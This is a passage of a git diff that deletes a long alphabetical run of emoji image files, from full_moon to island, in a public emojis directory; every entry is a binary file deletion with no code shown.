--- a/public/-/emojis/2/full_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/full_moon_with_face.png b/public/-/emojis/2/full_moon_with_face.png
deleted file mode 100644
index 03c030039e2..00000000000
--- a/public/-/emojis/2/full_moon_with_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/game_die.png b/public/-/emojis/2/game_die.png
deleted file mode 100644
index 1afdb9e51f5..00000000000
--- a/public/-/emojis/2/game_die.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gay_pride_flag.png b/public/-/emojis/2/gay_pride_flag.png
deleted file mode 100644
index 459211e7dec..00000000000
--- a/public/-/emojis/2/gay_pride_flag.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gear.png b/public/-/emojis/2/gear.png
deleted file mode 100644
index f9d4d03df91..00000000000
--- a/public/-/emojis/2/gear.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gem.png b/public/-/emojis/2/gem.png
deleted file mode 100644
index dc36777f138..00000000000
--- a/public/-/emojis/2/gem.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gemini.png b/public/-/emojis/2/gemini.png
deleted file mode 100644
index 2f6325116c6..00000000000
--- a/public/-/emojis/2/gemini.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/genie.png b/public/-/emojis/2/genie.png
deleted file mode 100644
index 3174f932275..00000000000
--- a/public/-/emojis/2/genie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ghost.png b/public/-/emojis/2/ghost.png
deleted file mode 100644
index 17a7d8c94d4..00000000000
--- a/public/-/emojis/2/ghost.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gift.png b/public/-/emojis/2/gift.png
deleted file mode 100644
index 58a1373f5ba..00000000000
--- a/public/-/emojis/2/gift.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gift_heart.png b/public/-/emojis/2/gift_heart.png
deleted file mode 100644
index 0b727a46b08..00000000000
--- a/public/-/emojis/2/gift_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/giraffe.png b/public/-/emojis/2/giraffe.png
deleted file mode 100644
index 6061ebc5e52..00000000000
--- a/public/-/emojis/2/giraffe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/girl.png b/public/-/emojis/2/girl.png
deleted file mode 100644
index 889ebddd736..00000000000
--- a/public/-/emojis/2/girl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/girl_tone1.png b/public/-/emojis/2/girl_tone1.png
deleted file mode 100644
index 34a84000ef6..00000000000
--- a/public/-/emojis/2/girl_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/girl_tone2.png b/public/-/emojis/2/girl_tone2.png
deleted file mode 100644
index 02a10bf7daa..00000000000
--- a/public/-/emojis/2/girl_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/girl_tone3.png b/public/-/emojis/2/girl_tone3.png
deleted file mode 100644
index afec6cd29b9..00000000000
--- a/public/-/emojis/2/girl_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/girl_tone4.png b/public/-/emojis/2/girl_tone4.png
deleted file mode 100644
index fe86379217c..00000000000
--- a/public/-/emojis/2/girl_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/girl_tone5.png b/public/-/emojis/2/girl_tone5.png
deleted file mode 100644
index ffbdad0259e..00000000000
--- a/public/-/emojis/2/girl_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/globe_with_meridians.png b/public/-/emojis/2/globe_with_meridians.png
deleted file mode 100644
index 6f2daf3c356..00000000000
--- a/public/-/emojis/2/globe_with_meridians.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gloves.png b/public/-/emojis/2/gloves.png
deleted file mode 100644
index a33f5a993a2..00000000000
--- a/public/-/emojis/2/gloves.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/goal.png b/public/-/emojis/2/goal.png
deleted file mode 100644
index 8e319f44a61..00000000000
--- a/public/-/emojis/2/goal.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/goat.png b/public/-/emojis/2/goat.png
deleted file mode 100644
index c6d27bb7104..00000000000
--- a/public/-/emojis/2/goat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/goggles.png b/public/-/emojis/2/goggles.png
deleted file mode 100644
index 9fe2a615467..00000000000
--- a/public/-/emojis/2/goggles.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/golf.png b/public/-/emojis/2/golf.png
deleted file mode 100644
index 6936e1e9d42..00000000000
--- a/public/-/emojis/2/golf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/golfing_man.png b/public/-/emojis/2/golfing_man.png
deleted file mode 100644
index 1e22660acb8..00000000000
--- a/public/-/emojis/2/golfing_man.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gorilla.png b/public/-/emojis/2/gorilla.png
deleted file mode 100644
index a4c5c067c40..00000000000
--- a/public/-/emojis/2/gorilla.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/grapes.png b/public/-/emojis/2/grapes.png
deleted file mode 100644
index b3e09fd4157..00000000000
--- a/public/-/emojis/2/grapes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/green_apple.png b/public/-/emojis/2/green_apple.png
deleted file mode 100644
index c69bc06dfea..00000000000
--- a/public/-/emojis/2/green_apple.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/green_book.png b/public/-/emojis/2/green_book.png
deleted file mode 100644
index 6c0eaa623c3..00000000000
--- a/public/-/emojis/2/green_book.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/green_heart.png b/public/-/emojis/2/green_heart.png
deleted file mode 100644
index 9b1b7c99099..00000000000
--- a/public/-/emojis/2/green_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/grey_exclamation.png b/public/-/emojis/2/grey_exclamation.png
deleted file mode 100644
index 6b8d5fb2c49..00000000000
--- a/public/-/emojis/2/grey_exclamation.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/grey_question.png b/public/-/emojis/2/grey_question.png
deleted file mode 100644
index a3fd1c71bf8..00000000000
--- a/public/-/emojis/2/grey_question.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/grimacing.png b/public/-/emojis/2/grimacing.png
deleted file mode 100644
index 21875a0df1b..00000000000
--- a/public/-/emojis/2/grimacing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/grin.png b/public/-/emojis/2/grin.png
deleted file mode 100644
index b949400b87a..00000000000
--- a/public/-/emojis/2/grin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/grinning.png b/public/-/emojis/2/grinning.png
deleted file mode 100644
index 02a26290628..00000000000
--- a/public/-/emojis/2/grinning.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/guardsman.png b/public/-/emojis/2/guardsman.png
deleted file mode 100644
index 47808b92493..00000000000
--- a/public/-/emojis/2/guardsman.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/guardsman_tone1.png b/public/-/emojis/2/guardsman_tone1.png
deleted file mode 100644
index 81be8e9cf60..00000000000
--- a/public/-/emojis/2/guardsman_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/guardsman_tone2.png b/public/-/emojis/2/guardsman_tone2.png
deleted file mode 100644
index 73ae457c1e1..00000000000
--- a/public/-/emojis/2/guardsman_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/guardsman_tone3.png b/public/-/emojis/2/guardsman_tone3.png
deleted file mode 100644
index 56d311af686..00000000000
--- a/public/-/emojis/2/guardsman_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/guardsman_tone4.png b/public/-/emojis/2/guardsman_tone4.png
deleted file mode 100644
index e93aa6eb7be..00000000000
--- a/public/-/emojis/2/guardsman_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/guardsman_tone5.png b/public/-/emojis/2/guardsman_tone5.png
deleted file mode 100644
index 268e9cf6b2e..00000000000
--- a/public/-/emojis/2/guardsman_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/guitar.png b/public/-/emojis/2/guitar.png
deleted file mode 100644
index 99b37856b78..00000000000
--- a/public/-/emojis/2/guitar.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/gun.png b/public/-/emojis/2/gun.png
deleted file mode 100644
index def2b061aa5..00000000000
--- a/public/-/emojis/2/gun.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/haircut.png b/public/-/emojis/2/haircut.png
deleted file mode 100644
index fed4e197e88..00000000000
--- a/public/-/emojis/2/haircut.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/haircut_tone1.png b/public/-/emojis/2/haircut_tone1.png
deleted file mode 100644
index 685e692bdd0..00000000000
--- a/public/-/emojis/2/haircut_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/haircut_tone2.png b/public/-/emojis/2/haircut_tone2.png
deleted file mode 100644
index bb4a4bc3a11..00000000000
--- a/public/-/emojis/2/haircut_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/haircut_tone3.png b/public/-/emojis/2/haircut_tone3.png
deleted file mode 100644
index 17d0534d095..00000000000
--- a/public/-/emojis/2/haircut_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/haircut_tone4.png b/public/-/emojis/2/haircut_tone4.png
deleted file mode 100644
index 77fa7091c66..00000000000
--- a/public/-/emojis/2/haircut_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/haircut_tone5.png b/public/-/emojis/2/haircut_tone5.png
deleted file mode 100644
index 5bdf76d6f3c..00000000000
--- a/public/-/emojis/2/haircut_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hamburger.png b/public/-/emojis/2/hamburger.png
deleted file mode 100644
index eb5f7bf1cf5..00000000000
--- a/public/-/emojis/2/hamburger.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hammer.png b/public/-/emojis/2/hammer.png
deleted file mode 100644
index 5a58d530e9b..00000000000
--- a/public/-/emojis/2/hammer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hammer_pick.png b/public/-/emojis/2/hammer_pick.png
deleted file mode 100644
index 2c5e5e5d817..00000000000
--- a/public/-/emojis/2/hammer_pick.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hamster.png b/public/-/emojis/2/hamster.png
deleted file mode 100644
index 72ad2190b53..00000000000
--- a/public/-/emojis/2/hamster.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hand_splayed.png b/public/-/emojis/2/hand_splayed.png
deleted file mode 100644
index 4871f3afccd..00000000000
--- a/public/-/emojis/2/hand_splayed.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hand_splayed_tone1.png b/public/-/emojis/2/hand_splayed_tone1.png
deleted file mode 100644
index 6b7de168af4..00000000000
--- a/public/-/emojis/2/hand_splayed_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hand_splayed_tone2.png b/public/-/emojis/2/hand_splayed_tone2.png
deleted file mode 100644
index e9139a1399c..00000000000
--- a/public/-/emojis/2/hand_splayed_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hand_splayed_tone3.png b/public/-/emojis/2/hand_splayed_tone3.png
deleted file mode 100644
index ca930eb8c2f..00000000000
--- a/public/-/emojis/2/hand_splayed_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hand_splayed_tone4.png b/public/-/emojis/2/hand_splayed_tone4.png
deleted file mode 100644
index 5b33fb4b3c3..00000000000
--- a/public/-/emojis/2/hand_splayed_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hand_splayed_tone5.png b/public/-/emojis/2/hand_splayed_tone5.png
deleted file mode 100644
index 4a4b1ff69de..00000000000
--- a/public/-/emojis/2/hand_splayed_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/handbag.png b/public/-/emojis/2/handbag.png
deleted file mode 100644
index 236159474be..00000000000
--- a/public/-/emojis/2/handbag.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/handball.png b/public/-/emojis/2/handball.png
deleted file mode 100644
index 7accfb4b586..00000000000
--- a/public/-/emojis/2/handball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/handball_tone1.png b/public/-/emojis/2/handball_tone1.png
deleted file mode 100644
index c6dce0e3cac..00000000000
--- a/public/-/emojis/2/handball_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/handball_tone2.png b/public/-/emojis/2/handball_tone2.png
deleted file mode 100644
index 39b8e7222c2..00000000000
--- a/public/-/emojis/2/handball_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/handball_tone3.png b/public/-/emojis/2/handball_tone3.png
deleted file mode 100644
index 044efc9026a..00000000000
--- a/public/-/emojis/2/handball_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/handball_tone4.png b/public/-/emojis/2/handball_tone4.png
deleted file mode 100644
index 7a7c4c0d5db..00000000000
--- a/public/-/emojis/2/handball_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/handball_tone5.png b/public/-/emojis/2/handball_tone5.png
deleted file mode 100644
index b551b6dff5a..00000000000
--- a/public/-/emojis/2/handball_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/handshake.png b/public/-/emojis/2/handshake.png
deleted file mode 100644
index 9c5f625e804..00000000000
--- a/public/-/emojis/2/handshake.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hash.png b/public/-/emojis/2/hash.png
deleted file mode 100644
index d7b3067b56f..00000000000
--- a/public/-/emojis/2/hash.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hatched_chick.png b/public/-/emojis/2/hatched_chick.png
deleted file mode 100644
index 4db89ded184..00000000000
--- a/public/-/emojis/2/hatched_chick.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hatching_chick.png b/public/-/emojis/2/hatching_chick.png
deleted file mode 100644
index c11360c2aa5..00000000000
--- a/public/-/emojis/2/hatching_chick.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/head_bandage.png b/public/-/emojis/2/head_bandage.png
deleted file mode 100644
index 171bd4bce21..00000000000
--- a/public/-/emojis/2/head_bandage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/headphones.png b/public/-/emojis/2/headphones.png
deleted file mode 100644
index 0dfc33063f7..00000000000
--- a/public/-/emojis/2/headphones.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hear_no_evil.png b/public/-/emojis/2/hear_no_evil.png
deleted file mode 100644
index 8bbcfe533e3..00000000000
--- a/public/-/emojis/2/hear_no_evil.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heart.png b/public/-/emojis/2/heart.png
deleted file mode 100644
index 45c1d7e3c2c..00000000000
--- a/public/-/emojis/2/heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heart_decoration.png b/public/-/emojis/2/heart_decoration.png
deleted file mode 100644
index fe71ae6b5c7..00000000000
--- a/public/-/emojis/2/heart_decoration.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heart_eyes.png b/public/-/emojis/2/heart_eyes.png
deleted file mode 100644
index e76d2569c41..00000000000
--- a/public/-/emojis/2/heart_eyes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heart_eyes_cat.png b/public/-/emojis/2/heart_eyes_cat.png
deleted file mode 100644
index 52bc81c2c9f..00000000000
--- a/public/-/emojis/2/heart_eyes_cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heartbeat.png b/public/-/emojis/2/heartbeat.png
deleted file mode 100644
index 22c4da5cc8f..00000000000
--- a/public/-/emojis/2/heartbeat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heartpulse.png b/public/-/emojis/2/heartpulse.png
deleted file mode 100644
index cbd2a2198d1..00000000000
--- a/public/-/emojis/2/heartpulse.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hearts.png b/public/-/emojis/2/hearts.png
deleted file mode 100644
index 95b6949e2ad..00000000000
--- a/public/-/emojis/2/hearts.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heavy_check_mark.png b/public/-/emojis/2/heavy_check_mark.png
deleted file mode 100644
index fbdf0cc8678..00000000000
--- a/public/-/emojis/2/heavy_check_mark.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heavy_division_sign.png b/public/-/emojis/2/heavy_division_sign.png
deleted file mode 100644
index dd78ebbb9d2..00000000000
--- a/public/-/emojis/2/heavy_division_sign.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heavy_dollar_sign.png b/public/-/emojis/2/heavy_dollar_sign.png
deleted file mode 100644
index 2333370abbf..00000000000
--- a/public/-/emojis/2/heavy_dollar_sign.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heavy_heart_exclamation.png b/public/-/emojis/2/heavy_heart_exclamation.png
deleted file mode 100644
index cc13ced7d79..00000000000
--- a/public/-/emojis/2/heavy_heart_exclamation.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heavy_minus_sign.png b/public/-/emojis/2/heavy_minus_sign.png
deleted file mode 100644
index e207b62fc64..00000000000
--- a/public/-/emojis/2/heavy_minus_sign.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heavy_multiplication_x.png b/public/-/emojis/2/heavy_multiplication_x.png
deleted file mode 100644
index acda08401d3..00000000000
--- a/public/-/emojis/2/heavy_multiplication_x.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/heavy_plus_sign.png b/public/-/emojis/2/heavy_plus_sign.png
deleted file mode 100644
index d72d9a0fb13..00000000000
--- a/public/-/emojis/2/heavy_plus_sign.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hedgehog.png b/public/-/emojis/2/hedgehog.png
deleted file mode 100644
index a63154b9cad..00000000000
--- a/public/-/emojis/2/hedgehog.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/helicopter.png b/public/-/emojis/2/helicopter.png
deleted file mode 100644
index dbfc34c88eb..00000000000
--- a/public/-/emojis/2/helicopter.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/helmet_with_cross.png b/public/-/emojis/2/helmet_with_cross.png
deleted file mode 100644
index 85f996fd7d7..00000000000
--- a/public/-/emojis/2/helmet_with_cross.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/herb.png b/public/-/emojis/2/herb.png
deleted file mode 100644
index 27a209a2cc7..00000000000
--- a/public/-/emojis/2/herb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hibiscus.png b/public/-/emojis/2/hibiscus.png
deleted file mode 100644
index 9583cb0c9a4..00000000000
--- a/public/-/emojis/2/hibiscus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/high_brightness.png b/public/-/emojis/2/high_brightness.png
deleted file mode 100644
index d09e7f0e14e..00000000000
--- a/public/-/emojis/2/high_brightness.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/high_heel.png b/public/-/emojis/2/high_heel.png
deleted file mode 100644
index a82a9914d38..00000000000
--- a/public/-/emojis/2/high_heel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hiking_boot.png b/public/-/emojis/2/hiking_boot.png
deleted file mode 100644
index a1d8820ad4e..00000000000
--- a/public/-/emojis/2/hiking_boot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hippopotamus.png b/public/-/emojis/2/hippopotamus.png
deleted file mode 100644
index 6ac9621a6bf..00000000000
--- a/public/-/emojis/2/hippopotamus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hockey.png b/public/-/emojis/2/hockey.png
deleted file mode 100644
index 9ecc4c646ae..00000000000
--- a/public/-/emojis/2/hockey.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hole.png b/public/-/emojis/2/hole.png
deleted file mode 100644
index 67ab1e498b1..00000000000
--- a/public/-/emojis/2/hole.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/homes.png b/public/-/emojis/2/homes.png
deleted file mode 100644
index f0cfd058408..00000000000
--- a/public/-/emojis/2/homes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/honey_pot.png b/public/-/emojis/2/honey_pot.png
deleted file mode 100644
index af5d03a80f0..00000000000
--- a/public/-/emojis/2/honey_pot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/horse.png b/public/-/emojis/2/horse.png
deleted file mode 100644
index 0167fcc3fd1..00000000000
--- a/public/-/emojis/2/horse.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/horse_racing.png b/public/-/emojis/2/horse_racing.png
deleted file mode 100644
index 1d6cc57fa09..00000000000
--- a/public/-/emojis/2/horse_racing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/horse_racing_tone1.png b/public/-/emojis/2/horse_racing_tone1.png
deleted file mode 100644
index 2ab6665f90d..00000000000
--- a/public/-/emojis/2/horse_racing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/horse_racing_tone2.png b/public/-/emojis/2/horse_racing_tone2.png
deleted file mode 100644
index f45b7811cdd..00000000000
--- a/public/-/emojis/2/horse_racing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/horse_racing_tone3.png b/public/-/emojis/2/horse_racing_tone3.png
deleted file mode 100644
index ef9569f29e9..00000000000
--- a/public/-/emojis/2/horse_racing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/horse_racing_tone4.png b/public/-/emojis/2/horse_racing_tone4.png
deleted file mode 100644
index dc01cbb5634..00000000000
--- a/public/-/emojis/2/horse_racing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/horse_racing_tone5.png b/public/-/emojis/2/horse_racing_tone5.png
deleted file mode 100644
index 4551c0f56a2..00000000000
--- a/public/-/emojis/2/horse_racing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hospital.png b/public/-/emojis/2/hospital.png
deleted file mode 100644
index 31cfcf94b6f..00000000000
--- a/public/-/emojis/2/hospital.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hot_face.png b/public/-/emojis/2/hot_face.png
deleted file mode 100644
index 9a5a20e0e2c..00000000000
--- a/public/-/emojis/2/hot_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hot_pepper.png b/public/-/emojis/2/hot_pepper.png
deleted file mode 100644
index b90267d3012..00000000000
--- a/public/-/emojis/2/hot_pepper.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hotdog.png b/public/-/emojis/2/hotdog.png
deleted file mode 100644
index 0a01b4844b5..00000000000
--- a/public/-/emojis/2/hotdog.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hotel.png b/public/-/emojis/2/hotel.png
deleted file mode 100644
index 45e565cec2f..00000000000
--- a/public/-/emojis/2/hotel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hotsprings.png b/public/-/emojis/2/hotsprings.png
deleted file mode 100644
index 23b68d38f9c..00000000000
--- a/public/-/emojis/2/hotsprings.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hourglass.png b/public/-/emojis/2/hourglass.png
deleted file mode 100644
index bf3490a8634..00000000000
--- a/public/-/emojis/2/hourglass.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hourglass_flowing_sand.png b/public/-/emojis/2/hourglass_flowing_sand.png
deleted file mode 100644
index 66ce22678ce..00000000000
--- a/public/-/emojis/2/hourglass_flowing_sand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/house.png b/public/-/emojis/2/house.png
deleted file mode 100644
index 7cce5e92114..00000000000
--- a/public/-/emojis/2/house.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/house_abandoned.png b/public/-/emojis/2/house_abandoned.png
deleted file mode 100644
index 0a3fb30dc0e..00000000000
--- a/public/-/emojis/2/house_abandoned.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/house_with_garden.png b/public/-/emojis/2/house_with_garden.png
deleted file mode 100644
index 9e089bb68ed..00000000000
--- a/public/-/emojis/2/house_with_garden.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hugging.png b/public/-/emojis/2/hugging.png
deleted file mode 100644
index 2f0fcaef6cc..00000000000
--- a/public/-/emojis/2/hugging.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/hushed.png b/public/-/emojis/2/hushed.png
deleted file mode 100644
index cc743ed8762..00000000000
--- a/public/-/emojis/2/hushed.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ice_cream.png b/public/-/emojis/2/ice_cream.png
deleted file mode 100644
index 0b321836859..00000000000
--- a/public/-/emojis/2/ice_cream.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ice_skate.png b/public/-/emojis/2/ice_skate.png
deleted file mode 100644
index 56f548b1dd2..00000000000
--- a/public/-/emojis/2/ice_skate.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/icecream.png b/public/-/emojis/2/icecream.png
deleted file mode 100644
index 4914709047c..00000000000
--- a/public/-/emojis/2/icecream.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/id.png b/public/-/emojis/2/id.png
deleted file mode 100644
index 09f9274065f..00000000000
--- a/public/-/emojis/2/id.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ideograph_advantage.png b/public/-/emojis/2/ideograph_advantage.png
deleted file mode 100644
index bcb38b85b57..00000000000
--- a/public/-/emojis/2/ideograph_advantage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/imp.png b/public/-/emojis/2/imp.png
deleted file mode 100644
index 1a328e73471..00000000000
--- a/public/-/emojis/2/imp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/inbox_tray.png b/public/-/emojis/2/inbox_tray.png
deleted file mode 100644
index 8de06c49c66..00000000000
--- a/public/-/emojis/2/inbox_tray.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/incoming_envelope.png b/public/-/emojis/2/incoming_envelope.png
deleted file mode 100644
index d3dfd33bbba..00000000000
--- a/public/-/emojis/2/incoming_envelope.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/infinity.png b/public/-/emojis/2/infinity.png
deleted file mode 100644
index 0e97a12e78c..00000000000
--- a/public/-/emojis/2/infinity.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/information_desk_person.png b/public/-/emojis/2/information_desk_person.png
deleted file mode 100644
index 24325a836e1..00000000000
--- a/public/-/emojis/2/information_desk_person.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/information_desk_person_tone1.png b/public/-/emojis/2/information_desk_person_tone1.png
deleted file mode 100644
index bf7a67f69be..00000000000
--- a/public/-/emojis/2/information_desk_person_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/information_desk_person_tone2.png b/public/-/emojis/2/information_desk_person_tone2.png
deleted file mode 100644
index 19edc8fad52..00000000000
--- a/public/-/emojis/2/information_desk_person_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/information_desk_person_tone3.png b/public/-/emojis/2/information_desk_person_tone3.png
deleted file mode 100644
index 370d3f27a55..00000000000
--- a/public/-/emojis/2/information_desk_person_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/information_desk_person_tone4.png b/public/-/emojis/2/information_desk_person_tone4.png
deleted file mode 100644
index 586c4845c2b..00000000000
--- a/public/-/emojis/2/information_desk_person_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/information_desk_person_tone5.png b/public/-/emojis/2/information_desk_person_tone5.png
deleted file mode 100644
index 73c703acd24..00000000000
--- a/public/-/emojis/2/information_desk_person_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/information_source.png b/public/-/emojis/2/information_source.png
deleted file mode 100644
index 3276059f513..00000000000
--- a/public/-/emojis/2/information_source.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/innocent.png b/public/-/emojis/2/innocent.png
deleted file mode 100644
index 1b456247f8a..00000000000
--- a/public/-/emojis/2/innocent.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/interrobang.png b/public/-/emojis/2/interrobang.png
deleted file mode 100644
index 79e0bf3b7aa..00000000000
--- a/public/-/emojis/2/interrobang.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/iphone.png b/public/-/emojis/2/iphone.png
deleted file mode 100644
index c1f2906588e..00000000000
--- a/public/-/emojis/2/iphone.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/island.png b/public/-/emojis/2/island.png
deleted file mode 100644
index 4975a064301..00000000000
--- a/public/-/emojis/2/island.png
+++ /dev/null
Binary files differ
